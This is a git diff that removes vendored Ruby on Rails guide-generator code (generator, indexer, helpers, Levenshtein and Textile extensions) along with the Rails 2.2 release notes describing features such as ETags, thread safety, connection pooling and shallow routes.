-#     Separate many using commas:
-#
-#       # generates only
-#       ONLY=assoc,migrations ruby rails_guides.rb
-#
-#     Note that if you are working on a guide generation will by default process
-#     only that one, so ONLY is rarely used nowadays.
-#
-#   EDGE
-#     Set to "1" to indicate generated guides should be marked as edge. This
-#     inserts a badge and changes the preamble of the home page.
-#
-# ---------------------------------------------------------------------------
-
-require 'set'
-require 'fileutils'
-
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/object/blank'
-require 'action_controller'
-require 'action_view'
-
-require 'rails_guides/indexer'
-require 'rails_guides/helpers'
-require 'rails_guides/levenshtein'
-
-module RailsGuides
-  class Generator
-    attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all
-
-    GUIDES_RE = /\.(?:textile|html\.erb)$/
-
-    def initialize(output=nil)
-      initialize_dirs(output)
-      create_output_dir_if_needed
-      set_flags_from_environment
-    end
-
-    def generate
-      generate_guides
-      copy_assets
-    end
-
-    private
-    def initialize_dirs(output)
-      @guides_dir = File.join(File.dirname(__FILE__), '..')
-      @source_dir = File.join(@guides_dir, "source")
-      @output_dir = output || File.join(@guides_dir, "output")
-    end
-
-    def create_output_dir_if_needed
-      FileUtils.mkdir_p(output_dir)
-    end
-
-    def set_flags_from_environment
-      @edge     = ENV['EDGE']     == '1'
-      @warnings = ENV['WARNINGS'] == '1'
-      @all      = ENV['ALL']      == '1'
-    end
-
-    def generate_guides
-      guides_to_generate.each do |guide|
-        output_file = output_file_for(guide)
-        generate_guide(guide, output_file) if generate?(guide, output_file)
-      end
-    end
-
-    def guides_to_generate
-      guides = Dir.entries(source_dir).grep(GUIDES_RE)
-      ENV.key?('ONLY') ? select_only(guides) : guides
-    end
-
-    def select_only(guides)
-      prefixes = ENV['ONLY'].split(",").map(&:strip)
-      guides.select do |guide|
-        prefixes.any? {|p| guide.start_with?(p)}
-      end
-    end
-
-    def copy_assets
-      FileUtils.cp_r(Dir.glob("#{guides_dir}/images"), output_dir)
-      FileUtils.cp_r(Dir.glob("#{guides_dir}/files"), output_dir)
-    end
-
-    def output_file_for(guide)
-      guide.sub(GUIDES_RE, '.html')
-    end
-
-    def generate?(source_file, output_file)
-      fin  = File.join(source_dir, source_file)
-      fout = File.join(output_dir, output_file)
-      all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
-    end
-
-    def generate_guide(guide, output_file)
-      puts "Generating #{output_file}"
-      File.open(File.join(output_dir, output_file), 'w') do |f|
-        view = ActionView::Base.new(source_dir, :edge => edge)
-        view.extend(Helpers)
-
-        if guide =~ /\.html\.erb$/
-          # Generate the special pages like the home.
-          result = view.render(:layout => 'layout', :file => guide)
-        else
-          body = File.read(File.join(source_dir, guide))
-          body = set_header_section(body, view)
-          body = set_index(body, view)
-
-          result = view.render(:layout => 'layout', :text => textile(body))
-
-          warn_about_broken_links(result) if @warnings
-        end
-
-        f.write result
-      end
-    end
-
-    def set_header_section(body, view)
-      new_body = body.gsub(/(.*?)endprologue\./m, '').strip
-      header = $1
-
-      header =~ /h2\.(.*)/
-      page_title = "Ruby on Rails Guides: #{$1.strip}"
-
-      header = textile(header)
-
-      view.content_for(:page_title) { page_title.html_safe }
-      view.content_for(:header_section) { header.html_safe }
-      new_body
-    end
-
-    def set_index(body, view)
-      index = <<-INDEX
-      <div id="subCol">
-        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
-        <ol class="chapters">
-      INDEX
-
-      i = Indexer.new(body, warnings)
-      i.index
-
-      # Set index for 2 levels
-      i.level_hash.each do |key, value|
-        link = view.content_tag(:a, :href => key[:id]) { textile(key[:title], true).html_safe }
-
-        children = value.keys.map do |k|
-          view.content_tag(:li,
-            view.content_tag(:a, :href => k[:id]) { textile(k[:title], true).html_safe })
-        end
-
-        children_ul = children.empty? ? "" : view.content_tag(:ul, children.join(" ").html_safe)
-
-        index << view.content_tag(:li, link.html_safe + children_ul.html_safe)
-      end
-
-      index << '</ol>'
-      index << '</div>'
-
-      view.content_for(:index_section) { index.html_safe }
-
-      i.result
-    end
-
-    def textile(body, lite_mode=false)
-      # If the issue with notextile is fixed just remove the wrapper.
-      with_workaround_for_notextile(body) do |body|
-        t = RedCloth.new(body)
-        t.hard_breaks = false
-        t.lite_mode = lite_mode
-        t.to_html(:notestuff, :plusplus, :code, :tip)
-      end
-    end
-
-    # For some reason the notextile tag does not always turn off textile. See
-    # LH ticket of the security guide (#7). As a temporary workaround we deal
-    # with code blocks by hand.
-    def with_workaround_for_notextile(body)
-      code_blocks = []
-      body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
-        es = ERB::Util.h($2)
-        css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
-        code_blocks << %{<div class="code_container"><code class="#{css_class}">#{es}</code></div>}
-        "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n"
-      end
-
-      body = yield body
-
-      body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_|
-        code_blocks[$1.to_i]
-      end
-    end
-
-    def warn_about_broken_links(html)
-      anchors = extract_anchors(html)
-      check_fragment_identifiers(html, anchors)
-    end
-
-    def extract_anchors(html)
-      # Textile generates headers with IDs computed from titles.
-      anchors = Set.new
-      html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
-        if anchors.member?(anchor)
-          puts "*** DUPLICATE ID: #{anchor}, please put and explicit ID, e.g. h4(#explicit-id), or consider rewording"
-        else
-          anchors << anchor
-        end
-      end
-
-      # Also, footnotes are rendered as paragraphs this way.
-      anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
-      return anchors
-    end
-
-    def check_fragment_identifiers(html, anchors)
-      html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
-        next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
-        unless anchors.member?(fragment_identifier)
-          guess = anchors.min { |a, b|
-            Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
-          }
-          puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/guides/rails_guides/helpers.rb b/vendor/rails/railties/guides/rails_guides/helpers.rb
deleted file mode 100644
index e05793d4..00000000
--- a/vendor/rails/railties/guides/rails_guides/helpers.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-module RailsGuides
-  module Helpers
-    def guide(name, url, options = {}, &block)
-      link = content_tag(:a, :href => url) { name }
-      result = content_tag(:dt, link)
-
-      if ticket = options[:ticket]
-        result << content_tag(:dd, lh(ticket), :class => 'ticket')
-      end
-
-      result << content_tag(:dd, capture(&block))
-      concat(result)
-    end
-
-    def lh(id, label = "Lighthouse Ticket")
-      url = "http://rails.lighthouseapp.com/projects/16213/tickets/#{id}"
-      content_tag(:a, label, :href => url)
-    end
-
-    def author(name, nick, image = 'credits_pic_blank.gif', &block)
-      image = "images/#{image}"
-
-      result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name)
-      result << content_tag(:h3, name)
-      result << content_tag(:p, capture(&block))
-      concat content_tag(:div, result, :class => 'clearfix', :id => nick)
-    end
-
-    def code(&block)
-      c = capture(&block)
-      content_tag(:code, c)
-    end
-  end
-end
diff --git a/vendor/rails/railties/guides/rails_guides/indexer.rb b/vendor/rails/railties/guides/rails_guides/indexer.rb
deleted file mode 100644
index bd817786..00000000
--- a/vendor/rails/railties/guides/rails_guides/indexer.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require 'active_support/core_ext/object/blank'
-require 'active_support/ordered_hash'
-
-module RailsGuides
-  class Indexer
-    attr_reader :body, :result, :warnings, :level_hash
-
-    def initialize(body, warnings)
-      @body     = body
-      @result   = @body.dup
-      @warnings = warnings
-    end
-
-    def index
-      @level_hash = process(body)
-    end
-
-    private
-
-    def process(string, current_level=3, counters=[1])
-      s = StringScanner.new(string)
-
-      level_hash = ActiveSupport::OrderedHash.new
-
-      while !s.eos?
-        re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
-        s.match?(re)
-        if matched = s.matched
-          matched =~ re
-          level, idx, title = $1.to_i, $2, $3.strip
-
-          if level < current_level
-            # This is needed. Go figure.
-            return level_hash
-          elsif level == current_level
-            index = counters.join(".")
-            idx ||= '#' + title_to_idx(title)
-
-            raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
-
-            key = {
-              :title => title,
-              :id => idx
-            }
-            # Recurse
-            counters << 1
-            level_hash[key] = process(s.post_match, current_level + 1, counters)
-            counters.pop
-
-            # Increment the current level
-            last = counters.pop
-            counters << last + 1
-          end
-        end
-        s.getch
-      end
-      level_hash
-    end
-
-    def title_to_idx(title)
-      idx = title.strip.downcase.gsub(/\s+|_/, '-').delete('^a-z0-9-').sub(/^[^a-z]*/, '')
-      if warnings && idx.blank?
-        puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
-      end
-      idx
-    end
-  end
-end
diff --git a/vendor/rails/railties/guides/rails_guides/levenshtein.rb b/vendor/rails/railties/guides/rails_guides/levenshtein.rb
deleted file mode 100644
index f99c6e6b..00000000
--- a/vendor/rails/railties/guides/rails_guides/levenshtein.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-module RailsGuides
-  module Levenshtein
-    # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance.
-    def self.distance(s1, s2)
-      s = s1.unpack('U*')
-      t = s2.unpack('U*')
-      m = s.length
-      n = t.length
-
-      # matrix initialization
-      d = []
-      0.upto(m) { |i| d << [i] }
-      0.upto(n) { |j| d[0][j] = j }
-
-      # distance computation
-      1.upto(m) do |i|
-        1.upto(n) do |j|
-          cost = s[i] == t[j] ? 0 : 1
-          d[i][j] = [
-            d[i-1][j] + 1,      # deletion
-            d[i][j-1] + 1,      # insertion
-            d[i-1][j-1] + cost, # substitution
-          ].min
-        end
-      end
-
-      # all done
-      return d[m][n]
-    end
-  end
-end
diff --git a/vendor/rails/railties/guides/rails_guides/textile_extensions.rb b/vendor/rails/railties/guides/rails_guides/textile_extensions.rb
deleted file mode 100644
index b22be575..00000000
--- a/vendor/rails/railties/guides/rails_guides/textile_extensions.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-module RailsGuides
-  module TextileExtensions
-    def notestuff(body)
-      body.gsub!(/^(IMPORTANT|CAUTION|WARNING|NOTE|INFO)(?:\.|\:)(.*)$/) do |m|
-        css_class = $1.downcase
-        css_class = 'warning' if ['caution', 'important'].include?(css_class)
-
-        result = "<div class='#{css_class}'><p>"
-        result << $2.strip
-        result << '</p></div>'
-        result
-      end
-    end
-
-    def tip(body)
-      body.gsub!(/^(TIP)\:(.*)$/) do |m|
-        result = "<div class='info'><p>"
-        result << $2.strip
-        result << '</p></div>'
-        result
-      end
-    end
-
-    def plusplus(body)
-      body.gsub!(/\+(.*?)\+/) do |m|
-        "<notextile><tt>#{$1}</tt></notextile>"
-      end
-
-      # The real plus sign
-      body.gsub!('<plus>', '+')
-    end
-
-    def code(body)
-      body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
-        es = ERB::Util.h($2)
-        css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
-        %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>}
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/guides/source/2_2_release_notes.textile b/vendor/rails/railties/guides/source/2_2_release_notes.textile
deleted file mode 100644
index f60af010..00000000
--- a/vendor/rails/railties/guides/source/2_2_release_notes.textile
+++ /dev/null
@@ -1,422 +0,0 @@
-h2. Ruby on Rails 2.2 Release Notes
-
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
-
-endprologue.
-
-h3. Infrastructure
-
-Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
-
-h4. Internationalization
-
-Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
-
-* Lead Contributors: Rails i18 Team
-* More information :
-** "Official Rails i18 website":http://rails-i18n.org
-** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
-** "Localizing Rails : Demo application":http://i18n-demo.phusion.nl
-
-h4. Compatibility with Ruby 1.9 and JRuby
-
-Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
-
-h3. Documentation
-
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
-
-* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started_with_rails.html
-* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
-* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
-* "Active Record Finders":http://guides.rubyonrails.org/finders.html
-* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
-* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
-* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing_outside_in.html
-* "Basics of Action Controller":http://guides.rubyonrails.org/actioncontroller_basics.html
-* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
-* "Testing Rails Applications":http://guides.rubyonrails.org/testing_rails_applications.html
-* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
-* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
-* "Benchmarking and Profiling Rails Applications":http://guides.rubyonrails.org/benchmarking_and_profiling.html
-* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/creating_plugins.html
-
-All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
-
-If you want to generate these guides locally, inside your application:
-
-<ruby>
-rake doc:guides
-</ruby>
-
-This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser.
-
-* Lead Contributors: "Rails Documentation Team":http://guides.rails.info/credits.html
-* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
-* More information:
-** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
-** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
-
-h3. Better integration with HTTP : Out of the box ETag support
-
-Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
-
-<ruby>
-class ArticlesController < ApplicationController
-  def show_with_respond_to_block
-    @article = Article.find(params[:id])
-
-    # If the request sends headers that differs from the options provided to stale?, then
-    # the request is indeed stale and the respond_to block is triggered (and the options
-    # to the stale? call is set on the response).
-    #
-    # If the request headers match, then the request is fresh and the respond_to block is
-    # not triggered. Instead the default render will occur, which will check the last-modified
-    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
-    # of rendering the template.
-    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
-      respond_to do |wants|
-        # normal response processing
-      end
-    end
-  end
-
-  def show_with_implied_render
-    @article = Article.find(params[:id])
-
-    # Sets the response headers and checks them against the request, if the request is stale
-    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
-    # If the request is fresh, then the default render will return a "304 Not Modified"
-    # instead of rendering the template.
-    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
-  end
-end
-</ruby>
-
-h3. Thread Safety
-
-The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
-
-To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
-
-<ruby>
-config.threadsafe!
-</ruby>
-
-* More information :
-** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
-** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
-** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
-
-h3. Active Record
-
-There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
-
-h4. Transactional Migrations
-
-Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
-
-* Lead Contributor: "Adam Wiggins":http://adam.blog.heroku.com/
-* More information:
-** "DDL Transactions":http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/
-** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
-
-h4. Connection Pooling
-
-Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
-
-<ruby>
-development:
-  adapter: mysql
-  username: root
-  database: sample_development
-  pool: 10
-  wait_timeout: 10
-</ruby>
-
-* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
-* More information:
-** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
-
-h4. Hashes for Join Table Conditions
-
-You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
-
-<ruby>
-class Photo < ActiveRecord::Base
-  belongs_to :product
-end
-
-class Product < ActiveRecord::Base
-  has_many :photos
-end
-
-# Get all products with copyright-free photos:
-Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
-</ruby>
-
-* More information:
-** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
-
-h4. New Dynamic Finders
-
-Two new sets of methods have been added to Active Record's dynamic finders family.
-
-h5. +find_last_by_<em>attribute</em>+
-
-The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-
-<ruby>
-# Get the last user who signed up from London
-User.find_last_by_city('London')
-</ruby>
-
-* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
-
-h5. +find_by_<em>attribute</em>!+
-
-The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
-
-<ruby>
-# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
-User.find_by_name!('Moby')
-</ruby>
-
-* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
-
-h4. Associations Respect Private/Protected Scope
-
-Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
-
-* Lead Contributor: Adam Milligan
-* More information:
-** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
-
-h4. Other ActiveRecord Changes
-
-* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
-* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
-* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
-* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
-
-h3. Action Controller
-
-On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
-
-h4. Shallow Route Nesting
-
-Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
-
-<ruby>
-map.resources :publishers, :shallow => true do |publisher|
-  publisher.resources :magazines do |magazine|
-    magazine.resources :photos
-  end
-end
-</ruby>
-
-This will enable recognition of (among others) these routes:
-
-<ruby>
-/publishers/1           ==> publisher_path(1)
-/publishers/1/magazines ==> publisher_magazines_path(1)
-/magazines/2            ==> magazine_path(2)
-/magazines/2/photos     ==> magazines_photos_path(2)
-/photos/3               ==> photo_path(3)
-</ruby>
-
-* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
-* More information:
-** "Rails Routing from the Outside In":http://guides.rails.info/routing/routing_outside_in.html#_nested_resources
-** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
-
-h4. Method Arrays for Member or Collection Routes
-
-You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
-
-<ruby>
-map.resources :photos, :collection => { :search => [:get, :post] }
-</ruby>
-
-* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
-
-h4. Resources With Specific Actions
-
-By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
-
-<ruby>
-map.resources :photos, :only => [:index, :show]
-map.resources :products, :except => :destroy
-</ruby>
-
-* Lead Contributor: "Tom Stuart":http://experthuman.com/
-
-h4. Other Action Controller Changes
-
-* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
-* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
-* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
-* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
-* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
-* +render+ now supports a +:js+ option to render plain vanilla javascript with the right mime type.
-* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
-* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
-
-h3. Action View
-
-* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
-* The included Prototype javascript library has been upgraded to version 1.6.0.3.
-* +RJS#page.reload+ to reload the browser's current location via javascript
-* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
-
-h3. Action Mailer
-
-Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
-
-* More information:
-** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
-
-Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
-
-h3. Active Support
-
-Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
-
-h4. Memoization
-
-Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
-
-<ruby>
-def full_name
-  @full_name ||= "#{first_name} #{last_name}"
-end
-</ruby>
-
-Memoization lets you handle this task in a declarative fashion:
-
-<ruby>
-extend ActiveSupport::Memoizable
-
-def full_name
-  "#{first_name} #{last_name}"
-end
-memoize :full_name
-</ruby>
-
-Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
-
-* Lead Contributor: "Josh Peek":http://joshpeek.com/
-* More information:
-** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
-** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
-
-h4. each_with_object
-
-The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
-
-<ruby>
-%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
-</ruby>
-
-Lead Contributor: "Adam Keys":http://therealadam.com/
-
-h4. Delegates With Prefixes
-
-If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
-
-<ruby>
-class Vendor < ActiveRecord::Base
-  has_one :account
-  delegate :email, :password, :to => :account, :prefix => true
-end
-</ruby>
-
-This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
-
-<ruby>
-class Vendor < ActiveRecord::Base
-  has_one :account
-  delegate :email, :password, :to => :account, :prefix => :owner
-end
-</ruby>
-
-This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
-
-Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
-
-h4. Other Active Support Changes
-
-* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
-* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
-* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons.
-* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+
-* +Enumerable#many?+ to encapsulate +collection.size > 1+
-* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+.
-* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on.
-* The included TzInfo library has been upgraded to version 0.3.12.
-* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
-
-h3. Railties
-
-In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
-
-h4. config.gems
-
-To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
-
-* +config.gem _gem_name_+ in your +config/environment.rb+ file
-* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
-* +rake gems:install+ to install missing gems to the computer
-* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
-* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
-* +rake gems:build+ to build any missing native extensions
-* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
-
-You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
-
-* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
-* More information:
-** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
-** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
-** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
-
-h4. Other Railties Changes
-
-* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
-* +script/plugin install <plugin> -r <revision>+ now works with git-based as well as svn-based plugins.
-* +script/console+ now supports a +--debugger+ option
-* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
-* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations.
-* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
-* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
-
-h3. Deprecated
-
-A few pieces of older code are deprecated in this release:
-
-* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
-* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
-* Implicit local assignments when rendering partials has been deprecated.
-
-<ruby>
-def partial_with_implicit_local_assignment
-  @customer = Customer.new("Marcel")
-  render :partial => "customer"
-end
-</ruby>
-
-Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
-
-* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
